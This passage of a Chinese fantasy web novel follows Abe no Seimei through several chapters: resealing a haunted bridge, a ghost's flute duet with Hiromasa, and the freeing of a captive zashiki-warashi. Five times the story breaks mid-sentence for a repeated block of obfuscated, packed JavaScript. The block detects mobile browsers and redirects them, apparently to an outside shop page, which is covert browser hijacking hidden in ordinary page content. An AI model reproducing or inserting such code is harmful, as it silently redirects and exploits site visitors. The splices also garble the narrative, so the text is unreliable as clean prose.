晴明忽然笑了,他一边笑,一边把手中的晴天娃娃丢进了火堆里。 滚圆可爱的晴天娃娃很快就被火苗吞噬了,迅速变得焦黑,好像这晴天娃娃已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832826|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等待这火很久 了,好像它早就清楚自己的归宿。 直到晴天娃娃即将烧尽,晴明才如梦方醒,不顾火焰烧灼,扑进火堆想把晴天娃娃抢回来。 但是最终抢到手里的,不过是两片烧焦的布片而已。 晴明呆呆地低头望着自己烧伤了的手。 亲情、友情、爱情,这双手曾经都拥有过,却又都失去了,他最后什么都没能抓住。 就连晴天娃娃也没有了,他和凉子之间,终于什么都不剩了。 在同一天里,贺茂忠行出葬,日野凉子出嫁。 晴明最重要的两个人在同一天离开了他。 这种巧合也未免太叫人绝望了些。 晴明深深叹了口气,双手撑开勾玉项链,想把它戴在脖子上,忽然手一顿,像是一下子想起了什么。 鬼骨! 戾桥上封印恶鬼的那块鬼骨! 那是贺茂忠行设下的封印! 而现在贺茂忠行死了,他的封印恐怕维持不了太久了! 晴明蓦然起身,双手变得冰凉。 戾桥是离开平安京的必经之地,而八百比丘尼刚才说…… 保宪要把贺茂忠行葬在平安京之外! 晴明慌忙跑了出去,甚至顾不上去唤来樱。 他只剩下了一个念头:师兄绝不能再出事了。 44.再次封印 一直到贺茂保宪走上戾桥,感受到那股似曾相识的阴气,他才记起来,封印的威力似乎随着贺茂忠行的死而削弱了。 那些来自彼世的鬼怪随时都会冲破封印而重新现世。 想到这一点,保宪顿时心头一凛。 这几天发生的事情太多,导致保宪竟然忘记了这么重要的事情。 “把牛车停下来。”保宪回头去吩咐赶车的仆役,然后他越过车头,走到了最前面。 他必须要把封印重新加固一下才行。 对于能否成功封印那些来自彼世的妖鬼这件事,他心里没底,于是保宪割破了自己的手掌,想用血来加强封印的效果。 但这是他今天所犯下的最严重的错误。 他低估了那些妖鬼的凶暴程度。 血腥味刚刚飘散出来就引起了一番躁动,戾桥的阴气骤然浓郁了几分,紧接着,响起了无数妖鬼尖利的啸叫声。 糟了! 保宪意识到事情不好,连忙裹住伤口不叫血液继续暴露在空气中,同时回过头对身后的仆役们高声命令道:“所有人都躲到牛车下面去!” 他目光触及到裹着贺茂忠行尸体的被子,心中又是一酸,险些掉下泪来,他连忙扭回头,不再看了。 然后,保宪学着记忆中贺茂忠行的样子,摆出了一副胸有成竹的架势。 现在贺茂忠行不在了,再也没有人挡在他面前,替他遮风挡雨了。 从现在起,他必须要学会独自承担这一切了。 保宪首先撑开了一个结界,把阴气与普通人阻绝开来,然后才开始凝神观察贺茂忠行的封印。 他的封印术自然是深得贺茂忠行真传,要叫他在贺茂忠行的基础上,再加固一层封印原本并不是什么难事,但问题是,这里的阴气过于浓郁,而且在结界撑起之后,阴气无法外泄,便都袭向了结界之内唯一的人类,贺茂保宪。 不用想也知道,保宪是承受了多大的压力才能站在这里。 他陷入了一个僵局,高浓度的阴气不断侵蚀着他的身体,逼得他不得不调用全身的灵力来抵挡,从而也就没有余力来加固封印。 但如果他放弃自保,全力加固封印的话,那样的话倒是可以成功封印住妖鬼,但是保宪很快就会死于阴气侵体。 保宪只有这两种选择,他不可能一边抵挡阴气一边加固封印,否则,他既完不成封印,也保护不了他自己。 究竟是为保命而退却,还是赔上性命一搏? 如果是贺茂忠行,他会怎么选? 保宪忽然记起了月尽夜那晚,贺茂忠行面对卢屋道满时,所说的那句话。 要想逆转阴阳,除非先杀了我。 如果是贺茂忠行的话,他一定不会后退的。 保宪微微闭了闭眼,再睁开时,已是决然。 他撤去了对自己的保护。 然而就在这时—— “师兄!”一只巨大的雪白色白狐从天而降,落地便化成了人形,那人一脸焦急,正是晴明。 “你……”保宪下意识地四周看了看,好在并没有人注意这边,那几个他雇来的仆役正蜷缩在车底瑟瑟发抖,根本不敢往这边多看一眼。 不过晴明这一路上,大概也引起了不小的骚动了。 保护晴明身份这件事,现在已经成为了保宪的本能,不需要经过考虑,便自发地去做了。 等到保宪意识到自己在做什么的时候,他的脸色变得铁青,不过也狠不下心再打晴明一巴掌,他压低了声音怒道:“你又来做什么?” “我有办法封印住它们。”晴明微微喘着气,他刚才不顾自己身份被发现的风险,化作白狐一路跑来,生怕自己来迟一步看见保宪的尸体。 “你?”保宪皱了皱眉头,又担心起了晴明的身体来,阴气对晴明的影响虽然不大,但很容易叫他暴露出狐尾和耳朵,这同样是很危险的事,一个不小心就会叫他和贺茂忠行的努力付之东流。 “师兄,替我护法。”晴明没再解释,走到戾桥中间的阵眼处,盘膝坐了下来。 如果晴明有意控制的话,他的耳朵和尾巴是不会轻易暴露在人前的。 晴明从自己脖颈上取下了那串勾玉,放在手心里摩挲了一下,旋即扯散了绳子,把那五枚小巧的勾玉攥在了手里。 他母亲葛叶送给他的唯一一件东西。 但同时,它也是整整五块鬼骨,用来封印大概是足够了。 和这条项链本身的意义比起来,还是加固封印更加重要。 时间紧迫,晴明毫不犹豫地将鬼骨勾玉放置在地上,就在他放好最后一枚勾玉的时候,五点相连,形成了五芒星,闪烁起了金色的光芒,正是桔梗印的图案。 晴明口中念念有词,阴气就这样在晴明的念诵声中,倒涌回了封印内部。 一场未来的危机消迩无形。 保宪眼见着阴气越来越淡薄,一直吊悬着的心终于放了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836716|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而晴明则身子一歪,倒了下去。 “晴明!” 保宪想去扶起晴明,但有人比他更快一步。 不,扶起晴明的不是人。 是个浑身血红的婴灵。 晴明身体的重量全压在婴灵身上,他们两个一齐跌倒在地。 好在晴明并不是昏迷,他只是灵力用尽有些脱力而已,很快就缓过来坐起身,望着婴灵一声轻叹:“你母亲已经不在了,走吧,你该成佛了。” 婴灵张口哇哇叫了几声,保宪完全听不懂它所说的话,晴明却又叹了一声,道:“也罢,你愿意守在这里,那就陪我一起守吧。” 晴明伸出手指,对着婴灵虚点几下,也不知念了句什么咒,婴灵便化作了一只血红色的蝴蝶,在 空中盘桓几圈,最终在晴明的肩膀上歇落了翅膀。 “晴明,你……” 晴明垂下眼眸,没去看保宪的脸,说:“即使用上了鬼骨,也难保日后这封印不会再被冲破,我要留在这里,看守这个封印。” “……”保宪犹豫了一下,最后说:“我知道了,我会去向天皇说明情况的。” “谢谢你,师兄。”晴明疲倦地仰面靠坐在戾桥的桥栏上,阖上了眼眸。 半月之后,晴明终于安顿了下来。 天皇派人为晴明在戾桥附近建造了一处新的宅邸,宅邸落成之后,晴明就带着樱搬了进去。 保宪背着一箱书,站在戾桥上张望,拿不准晴明住在哪里。 这是保宪自上次分别之后,第一次来这边。 “保宪大人,请跟我来。”侍女打扮的樱忽然出现在保宪面前,朝保宪深深鞠了一躬。 保宪注意到身边有一只殷红翅膀的蝴蝶,看来就是这蝴蝶把他到来的消息告诉给晴明的。 樱向来不喜多话,她引领着保宪来到了一座宅院前,宅院大门紧闭,门扇上画着金色的五芒星。 樱没有伸手推门,门便吱呀一声自己开了,晴明正坐在庭院里,见到保宪便站起身,微微一笑。 “师兄,好久不见。” 保宪稍稍有些赧然,他取下背着的书箱递给晴明道:“这些书是师傅留下的,占星一类的书籍,我向来不长于此道,它们若是留在我这儿,只怕是埋没了……” 保宪的声音越来越小,最后他犹豫了许久,才说出了他最想说的话:“晴明,对不起。” “我才该说对不起。”晴明接过书箱,静静地说。 45.鬼笛 残月挂在半空,藏在深灰色的云层中若隐若现。 这是一个人鬼共生的年代,阴与阳之间的界限并不是十分明晰,人与鬼,往往只有一墙之隔而已。 也正是因此,人们谈鬼色变,几乎没有人敢在黄昏以后外出。 不过,偶尔也有例外。 源博雅带着个畏畏缩缩的仆从,走在朱雀大道上,仆从手里举着灯笼在前方引路,不时哆哆嗦嗦地四处张望,生怕身边会突然窜出一只青面獠牙的鬼来。 源博雅倒是面色如常,没什么畏惧的神色,甚至脸上还挂着笑容。 这当然不是因为他胆大包天,不怕妖鬼,而是因为他满心期待和好奇,完全压过了恐惧。 近日,平安京里出了一件怪事,位于平安京南部的城门、朱雀门一带时常在夜里响起笛声,乐音悠扬清越,但往往都是只闻其声,而不见吹笛的人。 吹笛者是鬼,这件事似乎已经可以确信无疑了。 人们如避蛇蝎一般避开了朱雀门,没人想与妖鬼这种东西扯上关系。 源博雅自然也不例外,不过,自从他一次偶然在夜里路过朱雀门听到了笛声之后,他便被对方精湛的演奏技艺深深折服,每晚都必须要去一趟朱雀门才罢。 源博雅的家仆都私下里嘀咕,他们家的博雅大人恐怕是被朱雀门的鬼迷住了,不然的话,又怎么会神魂颠倒至此。 源博雅自己也听到了一些关于他的议论,不过他毫不在乎,他一向爱音成痴,做出这样的事来也不奇怪。 况且,能让他每天都听到这样的乐曲,即使真的最终被鬼迷惑而死,只怕也是无憾的。 远远地,夜风送来了乐声,依然如他记忆中的一般悠扬悦耳,不过不知为何,这几日的曲子中,忧愁之意越发地浓重了。 博雅立在朱雀门附近,从午夜一直站到了天明。 夜寒露重,博雅的衣服稍稍有些潮湿,但他生怕漏过对方的演奏,根本顾不上拂去自己身上凝结的露珠。 那个不露面的乐师几乎是不间断地演奏了几十支曲子,都是博雅从未听过的乐曲,这也是博雅每晚必来的原因。 天蒙蒙亮的时候,博雅终于忍不住了,从怀里取出自己的笛子,在对方一曲终了之后,扬声道:“不知在下可否有幸,与君同奏一曲?” 这话他早就想说了,不过担心自己冒昧,故一直没敢提出来。 但是今天,他好像忽然明白了对方乐音中透出哀愁的原因。 纵使有绝佳的技艺和曲子,无人欣赏也是枉然。 只因为吹笛的是鬼,这乐曲就该被埋没? 这是什么道理。 对方停了一会儿,既没有继续吹笛,也没有答话。 “对不起!”博雅以为冲撞了对方,连忙鞠躬道歉,腰弯下去,半晌都没有直起身,足见其诚意。 “没关系。”博雅身边明明只有他带出来的那个仆役,然而却有一个陌生的声音在他耳边响了起来,这声音有些文弱,听起来像是个少年公子。 那鬼公子继续说:“请这位大人起来吧,我并没有生气,只不过……” “您要用普通的笛子和我手中这支‘叶二’同奏吗?”鬼公子轻言轻语,透着一股鬼怪所特有的阴森森的味道。 “叶二?”博雅一怔,不解其意。 “没什么,请开始吧。”鬼公子像是笑了,而博雅依旧看不到对方的身形,不过很快,笛声便再度响了起来。 或许是为了照顾博雅,那位鬼公子并没有吹奏什么难度太高太冷僻的曲子,他选了一首极其简单、并在平安京流传甚广的曲子,就算是初学者也能轻松演奏。 博雅只是微微一愣便把自己的笛子举到了唇边,跟着鬼公子吹奏起来。 但他并非简单地吹奏原曲,而是跟着鬼公子的旋律重新另作了一段配乐,两种笛音合成一个,听来格外动人。 忽然,鬼公子笛音一转,仿佛刻意刁难一般,换了支难度稍高的曲子,博雅也只一顿,很快跟了上去。 这一人一鬼于音乐一道的造诣都极深,音声相和,余音绕梁。只可惜这一带少有人来,无人听到这一段乐曲相斗。 如是三番,那鬼公子方叹了一声,不再吹奏下去了。 博雅还意犹未尽,不过也立即放下了笛子。 “亏我霸占了这支名笛这些年,今日方知,原来竟不如您手中这支寻常的笛子。”鬼公子轻轻一哂,道:“原来是我误了,早该知道乐师不该受制于乐器本身的。” “正是,乐器的优劣并不能决定乐师技艺的优良,不过,合适的乐器却可以起到锦上添花的作用的。”博雅应道。 “我执迷了这些年,以为一支名笛就可以让我成为这世上最好的乐师,无论生前还是死后,我都从未离开过我这支笛子,这笛子伴了我一世,却也束缚了我一生。”鬼公子的声音似乎极近,又似乎极远,飘渺无形。 “它于我,并非锦上添花,而反倒是个累赘了。”鬼公子叹道:“我拘泥于乐器,甘愿受其束缚,由此看来,我也不过是个庸手罢了。” “不是的!”博雅高声反驳道:“阁下是我所见识过的最好的乐师!即使是天皇陛下御用的乐手也不及您分毫!” “是么,谢谢您。”鬼公子好像笑了,随后他说:“我一个已死之人,拿着这笛子也没什么用处,今日既然与君投缘,不如就把这笛子赠送给您。” “欸?这可以吗?这笛子既然对您这样重要的话……”博雅想要推拒,但是一支纯黑色的笛子忽然凭空出现在了他面前。 “此笛名唤‘叶二’,请拿好它,它有些奇异之处,大人您日后自知。”鬼公子轻声道:“另外,还请大人您把您的笛子赠与在下,在下一生爱音成痴,若是没了笛子,只怕会很不习惯。” “哦,好的。”博雅忙又从怀中摸出自己的笛子,双手就要递与那鬼公子。 说时迟,那时快,博雅刚刚递出自己的笛子,一道月白色的人影便从博雅面前卷过,同时夺走了两支笛子。 鬼公子的声音一下子沉了下去:“阁下藏在一边,抢夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841204|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人物品,您这是何意?” 博雅忙定睛去看,只见抢走笛子的是个青年,年岁与他相仿,身着狩衣乌帽,肤色白皙,眼眸细长,眼尾微微向上挑着,模样与狐狸倒有三四分相似。 穿着月白色的狩衣……这人是个阴阳师? 那青年阴阳师把笛子拿在手里,翻来覆去的检视了一阵,然后才抬起头笑道:“你可知为何这笛子分明是个死物,却能够束缚你这个活人?” 很显然,青年阴阳师并不是在对着博雅说话,因为他面朝着的方向空无一人。 这一幕极其恐怖,但博雅并没有感到害怕,这或许是他刚刚还同那位鬼公子同奏过的缘故。 鬼公子沉默了一会儿,方才答道:“不知。” “因为这笛子上附着了咒,是你为自己设下的咒。” “我不明白你的话。” 阴阳师微微一笑,举步朝博雅眼中、一个无人的角落走了过去,边走边解释道:“咒,即为束缚,只要愿意,人人都可以对其他事物下咒,你执念于这支笛子,便是对它下了咒,而这个咒却是作用在你自己身上的。” “……”鬼公子不言,像是听懂了,又仿佛什么都没懂。 “实在抱歉,我方才以为您会利用这支笛子害人,所以才出来打扰二位。”阴阳师朝鬼公子鞠了一躬,然后把两支笛子都递了过去:“诚如我方才所说,您之所以受到束缚,不过是您作茧自缚,与此笛倒没什么干系,不过您若是仍想要与博雅君交换乐器,我也不会再阻拦。” “您认识我?”博雅骤然听到自己的名字,不由得一愣。 阴阳师的动作微微一顿,然后才朝博雅笑道:“不认识,不过偶然听说过您‘雅乐之神’的名号罢了。” 博雅不由得涨红了脸,这个外号是他少年时的那些朋友胡闹取的,没想到至今还有人记得。 时过境迁,距离博雅与晴明第一次相见,已经过去了十年,博雅早就忘记了当年那个被他的朋友当作笑柄的白狐之子,但安倍晴明却还记得。 晴明不过是偶尔闲来无事,出来听一听朱雀门之鬼所演奏的曲子而已,谁料想,恰好就碰上了博雅与鬼共奏。 博雅这十年间,相貌变化很大,而晴明认出博雅是依靠其澄澈干净的笛音。 这样的笛音世上罕有,因为很少有人的心思会如博雅一般干净。 晴明躲在一边,听完了博雅与鬼共同演奏的曲子,紧接着,就见博雅竟然毫不设防地想与鬼交换物品。 如果那支鬼笛上被下了恶咒的话…… 所以晴明才立即现身,抢先接过笛子检查之后才放下心来。 “您是叫……博雅大人?”鬼公子迟疑地念出了博雅的名字,然后继续说:“您不介意的话,我依然想与您交换笛子。” “如您所见,我是个已死之人,无论是对乐器的执念,还是对音乐的执念都早该放下了。” “我为了音乐,一生穷困,也为了音乐,连死后都无法成佛。”鬼公子叹道:“或许早该放弃它了。” 46.驱鬼 “多谢二位愿意听在下演奏,尤其是您,博雅大人。”鬼公子低声道谢:“我知道您每晚都会来,知道您必是爱好雅乐之人,事实上,我每晚徘徊在这儿,也正是为了等您。” “既然这样,为何您迟迟不肯现身相见呢?”博雅急切地问道。 “……”鬼公子沉默了一会儿,方悠悠叹道:“我如今这副模样,还是不要相见的好。” “这支笛子就赠与您,想来,以您的技艺必不会埋没了它。”那支纯黑色的笛子再次凭空出现在了博雅面前,这一次,博雅顺利接过了笛子,没再横生枝节。 那笛子入手的感觉微凉,带着晨露湿润的气息,笛子尾部雕刻着两片叶子,惟妙惟肖。 鬼笛叶二。 “即使是到达了彼世,我也会记得您的,博雅大人。”鬼公子的声音渐渐远去,就好像是被晨风吹散了一般。 而博雅手中拿着鬼笛,好像还在等待着什么。 “别等了,他已经走了。”晴明忍不住,出言提醒道。 “走了?去哪儿了?”博雅还没有醒过神来,怔怔地问。 晴明从怀里摸出一柄小巧精致的五骨蝙蝠扇,拿在手里展开摇了摇,道:“他一生的执念都聚集在这笛子上,如今已抛下了执念,自然就成佛去了。” “是么?这样也好。”博雅不自觉地把鬼笛举到了唇边,吹奏起来,而晴明静静站在一旁,不言不语。 博雅一旦吹起笛子来便忘了情,直到一曲终了,他才记起一边的晴明来,忙道:“方才真是谢谢您了,阴阳师大人。” 晴明面上淡淡的,看不出什么情绪来:“我没帮上什么忙,何必谢我。” “虽是这么说,但你也是好心帮我啊。”博雅搔了搔鬓角,问道:“请问您是……” “你真的想知道?”不知为何,晴明的脸色不是很好,像是回想起了什么不愉快的事,他自嘲地笑了笑,说:“和我扯上关系可不是什么好事哦。” “欸?”博雅不明白晴明为什么会这样说。 “名字也是咒的一种,而对于阴阳师而言,名字格外重要。”晴明淡淡地解释说:“而我的名字,大概是从命名时起就被人下了恶咒吧,许多与我关系亲近的人都……”晴明叹了一声,转身走了,不再继续说了。 “希望你我,今后不要再见了。” 晨光熹微,身着月白色狩衣的青年男子背光走着,孤身一人,只留下这一句冷淡的话。 博雅心怀疑惑,正想追上去,却发现晴明竟然在他眼皮子底下不见了。 只不过是一晃神的功夫,晴明便消失无踪。 “真是个怪人。”博雅并没有太把这件事放在心上,阴阳师嘛,总会有些特异之处的。 那支鬼笛的表面有些潮湿,博雅扯起衣袖想把它擦干,就在这时候,两滴晨露沿着鬼笛尾部叶片的叶脉滴落下来。 而晴明早回到了戾桥,再度检查了一次封印之后,他倚着桥栏,默默望着一只血色翅膀的蝴蝶翩翩飞舞。 “还是不肯走吗?”晴明喃喃着,朝蝴蝶伸出手指,蝴蝶驯服地停歇在了晴明手指尖,翅膀一张一合。 别等了,她不会再回来了。 晴明很想这样说,但他说不出口。 这蝴蝶是婴灵所化,而它的母亲桥姬被卢屋道满当作了阴阳逆转的祭品,身死魂消。 晴明原想超度婴灵成佛,无奈它固执不肯走,执意要等在戾桥,等它母亲回来,晴明拿它没办法,便也只能随它去了。 若要说婴灵痴,他自己又何尝不是呢? 他今年二十五岁,许多与他同龄甚至年纪比他小的青年人都已经娶妻生子,而他还是孑然一身。 虽然不愿意承认,但他依然在等待着某个人。 十年前就已经出嫁了的, 日野凉子。 晴明与这婴灵一样,都是痴人啊。 “晴明大人!”另有一人出现在了戾桥上,高声叫嚷着晴明的名字。 血色的蝴蝶骤然受了惊,振翼飞起。 晴明微微眯着眼睛,打量着那个突然出现的人。 对方衣衫破旧,如果不是平民,就是贵族家里的仆从。 那人哆哆嗦嗦,连声音都打着颤,他没注意到晴明的存在,高声嚷道:“我家主人请、请您杀、杀妖怪!” 说完了这话,那仆人转身就想走,晴明叹了口气,叫住了他:“你倒是先说清楚,你们家主人是谁啊?” 晴明骤然出声,吓得那仆人脖子一缩,等他看清楚了晴明那张酷似白狐的脸,他哆嗦得更厉害了。 虽说晴明十年前就已摆脱了狐妖的嫌疑,但此事造成的影响却是不可逆转的。 至今仍有人畏惧他,称他作“白狐公子”。 “您、您是……”那仆人结结巴巴,说不出话来。 晴明暗中摇了摇头,怎么派了这么个人过来。 即使他脾性再好,现在也不免烦躁,皱眉道:“我就是安倍晴明,有什么事和我说吧。” 这话一说,仆人顿时腿一软,差点跪在地上。 晴明还想再问,见他这样,遂改口道:“你还是带我过去吧。” 这仆人显然是害怕他,想来从他口中也问不出什么,何必再多费口舌。 究竟是什么样的鬼怪作祟,他一看便知,问与不问,并没有太大差异。 仆人一边在前面引路,一边偷偷回头去打量晴明的脸,他自以为做得隐秘,而晴明也假作不知。 像这样的人,晴明早就见过不止一次了,他们都对晴明的身份感到好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845572|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同时而又惧怕。 年少成名,白狐公子,天才阴阳师……它们为晴明镀上了一层又一层的神秘光环,它们成就了晴明,但同时也让普通人不敢再轻易接近他。 为了避免人们因畏惧而不敢来找他驱鬼,晴明在戾桥附近设下了一个结界,只要有人走上戾桥喊他的名字并说出诉求,晴明就能立刻听到。 不过,这样一来,似乎适得其反,人们对他的惧怕不减反增。 固化的印象很难改变,这也是没有办法的事情。 晴明一边跟着仆人走,一边摸出怀里的蝙蝠扇摇了摇。 这会儿天刚亮,会在这个时间来找他的话…… 大概妖鬼作祟的情况真的很危急了。 “晴、晴明大人,您请。”仆人拉开一座宅院的大门,期期艾艾地说。 晴明没同他客气,直接走进了宅院,他刚刚在外面打量过,至少从外面看,这座宅子并没有什么问题,阴气也不重。 但这很可能意味着此间作祟的妖鬼已经学会了隐藏自己的阴气。 这座宅院的主人很快迎了出来,他叫佐藤诚,原本只是个普通的下级贵族,近些年却突然异军突起,颇受天皇重用。 “晴明大人,您总算是来了。”佐藤诚的黑眼圈很重,看得出来是很多天都没有好好休息了。 佐藤诚一边请晴明进屋,一边絮絮叨叨地诉苦:“闹了有好些天了,请了不少阴阳师也不济事,每天晚上都有东西叮叮咣咣地响……” 有东西响,难道是鸣屋? 晴明暗忖,不对,鸣屋并不是什么强大的妖怪,应当不至于让其他阴阳师都无计可施才是。 “我师兄贺茂保宪如今也在京中,为何不去找他?”晴明问道。 按照常理而言,绝大多数人都会避免与安倍晴明这个白狐之子打交道才对,而目前的平安京中,能力最强的阴阳师除了安倍晴明之外,大概就是贺茂忠行唯一的儿子,贺茂保宪了。 相比之下,多数人自然都会选择去找贺茂保宪来为自己驱鬼。 但这个人却…… “这……”佐藤诚的目光闪烁了一下,支支吾吾:“当然也找过,不过……啊!这里就是作祟的地方了!” 佐藤诚语焉不详,而且转移话题的痕迹太过明显,晴明微微眯起了眼睛,不过他也没说什么,跟着佐藤诚一起走进了那个作祟的房间。 那是间储藏室,物件放置得颇为杂乱,而且显然是很久没有清扫过了,房间各处都布满了尘灰。 佐藤诚一进门就开始咳嗽,显然那些灰尘让他很不舒服。 晴明啪地一声打开折扇掩住鼻子,慢条斯理地四处查看,这一看之下,他眉头顿时皱了起来。 这屋子里有封印,而且是对鬼终生禁足的封印! 47.封印 在这间贮藏室的一个不起眼的角落里,四根红色的绳子和同样数量的木牌彼此相连,框出了一个规整的四边形,绳子上还系着无数张朱砂绘成的符咒,这些符咒困住了其中的鬼,令它无法逃脱。 晴明无论如何都想不通,为什么有人会选择把鬼封印在自己家中而不除掉它。 不过,当他看到蜷缩在封印里、三四岁模样的小鬼时,他就立刻明白了过来。 这是座敷童子。 为人们带来福运的、无害的鬼。 经常有人会选择把它们封印在自己家中,强迫它们源源不断地为自己带来福运。 难怪佐藤诚会突然发迹! “你……”晴明转头想要斥责佐藤诚,没想到却正对上一把闪着寒光的武士刀。 “作祟的就是它。”佐藤诚已经完全撕下了伪装的假面,冷笑道:“无数阴阳师都和我说过了, 这东西被封印困住逃不掉,怨恨难平,因此才时时作祟。他们都劝我解开封印放走它,但是这种事情怎么可能呢?”佐藤诚把刀架在晴明颈侧,威胁道:“我要你做的事情只有一件,想办法继续封印住它,而且不要让它再闹。” 晴明冷冷地往佐藤诚脸上看了一眼,没说话,在座敷童子的封印旁蹲了下来,仔细查看那个幼童模样的鬼怪。 它头上已经生出了两只鬼角,不过极为袖珍,掩盖在座敷童子的头发下,不仔细看根本分辨不出来。 四枚尖利的獠牙从它唇边伸出来,它脸色青白,身上穿着殷红色的和服。 这个座敷童子,与晴明记忆中的明美极其相似,除了獠牙和鬼角之外。 那两样东西证明了它心怀怨恨,或许再过不久,它就会转化成为害人的恶鬼了。 从前来过的那些阴阳师说得没错,最好的解决办法就是放走座敷童子,平息它的怨恨。 座敷童子都是小孩子心性,不懂记仇,恢复了自由之后,也不会继续缠着佐藤家不放。 但是佐藤诚根本不想要这样的结果,他的贪欲迟早会害了他自己。 佐藤诚的算盘打得很好,先是派出了一个最昏聩的仆人去请来晴明,这样一来就不可能把座敷童子的事走漏出去,以确保晴明一定会来。 接下来就是威逼晴明替他处理座敷童子,他观察了很久,唯独晴明是最好的人选。 晴明此人长期独居戾桥,几乎不与任何人来往,而且身上并无官职,也很少被天皇召见。 即使晴明不肯配合,那就大不了杀死他。像晴明这样的人,即使是无声无息地死了,也不可能会有人注意到。 虽然话是这么说,但佐藤诚还是低估了晴明。 可以毫不夸张地说,威胁晴明,是他犯下的最严重的错误。 晴明蹲在座敷童子的封印边,侧过头冷冷地瞧着佐藤诚,既不答应,也不说任何拒绝的话。 佐藤诚额上微微见了汗,他也不想这样得罪一名阴阳师,如果不是当初设下封印的人早已离开平安京的话,他也不会这样铤而走险。 还没等晴明说话,封印中的座敷童子就猛然睁开了眼睛,它的眼睛一片漆黑,没有眼白,与它对视极不舒服,但晴明不闪不避,坦然地注视着座敷童子的眼睛。 座敷童子一看到晴明身上穿着的狩衣便发了狂,一头朝封印着它的红绳撞去,却被红绳上绑缚着的符咒弹了回去,它揉了揉前额,似乎是撞疼了,便大哭起来。 佐藤诚看不到座敷童子,却能听得见哭声,脸色顿时白了,催促道:“快封印它!就是这个哭声,它每天都……” 就在符咒起作用的一瞬间,晴明的脸色阴沉了下来,那张符咒上附着的灵力中沾染着极度不洁的气息,仿佛卷挟着血雨腥风。 这样的灵力他再熟悉不过了,只要接触过一次,就永生不会再忘记。 这符咒和封印是卢屋道满的手笔! 晴明模模糊糊地记得,十多年前,明美曾被卢屋道满封印过一次,而他试图破除卢屋道满的封印却失败了。 “要继续封印它不难,但要借你一滴血。”晴明蓦然抬起头,目光如炬,直视佐藤诚。 佐藤诚不由得松了口气,他把手指放在刀刃上,微微使力按了按,刀锋划破手指,渗出滴血来,而因为武士刀还架在晴明肩上,那滴血顺着刀子缓缓流下来,到了晴明面前。 晴明面上一派从容,也借着佐藤诚的刀划破了手指,两滴血融在一起,被晴明小心地接住,放在了手心里。 接下来,晴明用自己的血来当作朱砂,在封印原有的符咒上重新添了一笔,这一笔添过之后,封印里的座敷童子的獠牙和鬼角立即缩了回去。 然后晴明沾了沾手心里混合的血,在座敷童子唇上一抹,血渗进了它惨白的嘴唇,它下意识地舔舔唇角,定定地注视着晴明。 “想做什么,就去做吧。”晴明压低了声音说着。 座敷童子用漆黑的眼珠盯了晴明一会儿,随后就重新阖上眼眸不再理他了。 “这就行了?”佐藤诚犹犹豫豫地问。 “它不会再闹了,你还想怎样?”晴明冷冷地答了一句,然后两根手指夹住刀身,将其从自己脖颈处移开:“告辞。” “等一等!”佐藤诚立即又换上了虚伪的假笑:“晴明大人,您的报酬……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865723|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不必了。”晴明冷笑一声,拂袖而去。 佐藤诚这个人,惹什么不好,偏偏要去招惹阴阳师。 他不懂阴阳术,晴明要做手脚简直太容易了。 晴明画那道符,是为了平息座敷童子的怨气,而他的血液中带有灵力,喂给座敷童子是为了帮助它挣脱封印,至于为什么还要把佐藤诚的血也一起喂给它…… 当然是为座敷童子报复佐藤诚提供方便了。 如今已经十年过去,以晴明现在的能力,破除卢屋道满的封印易如反掌。 